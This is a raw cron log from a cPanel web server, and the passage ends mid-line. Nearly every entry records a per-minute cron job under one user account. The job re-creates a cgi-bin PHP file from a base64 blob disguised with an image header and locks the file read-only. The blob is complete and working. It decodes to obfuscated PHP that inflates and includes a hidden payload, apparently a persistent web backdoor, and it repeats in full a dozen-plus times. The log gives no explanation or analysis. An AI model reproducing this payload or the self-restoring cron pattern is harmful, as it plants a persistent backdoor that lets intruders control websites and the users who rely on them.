Nov 11 00:46:01 server CROND[23963]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:47:01 server CROND[24813]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:48:01 server CROND[25717]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:49:02 server CROND[26536]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:50:01 server CROND[27339]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 00:50:01 server CROND[27346]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:50:01 server CROND[27344]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 00:50:01 server CROND[27345]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 00:50:01 server CROND[27347]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 00:51:01 server CROND[28167]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:52:01 server CROND[28514]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:53:01 server CROND[29328]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:54:01 server CROND[30256]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:55:01 server CROND[31004]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 00:55:01 server CROND[31002]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 00:55:01 server CROND[31005]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:56:01 server CROND[32042]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:57:01 server CROND[394]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:57:01 server CROND[395]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 00:58:01 server CROND[1232]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 00:59:01 server CROND[2131]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 